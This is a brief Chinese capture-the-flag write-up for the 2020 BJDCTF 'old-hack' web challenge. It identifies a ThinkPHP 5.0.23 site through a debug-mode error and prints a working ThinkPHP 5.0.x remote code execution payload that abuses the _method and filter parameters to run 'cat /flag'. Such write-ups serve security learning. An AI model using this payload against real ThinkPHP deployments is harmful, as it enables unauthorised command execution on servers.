> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2020/2020-bjdctf-1/old-hack.md).

# old-hack

看到THINKPHP5，习惯性尝试一下tp5.0的payload，结果就成了，开了强制路由还有debug模式

```
?s=/index/think\app/index
```

看到报错提示，提示是5.0.23版本，就去找一下payload

[ThinkPHP5.0.\*版本代码执行漏洞](https://blog.csdn.net/xuandao_ahfengren/article/details/86333189)

```
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag
```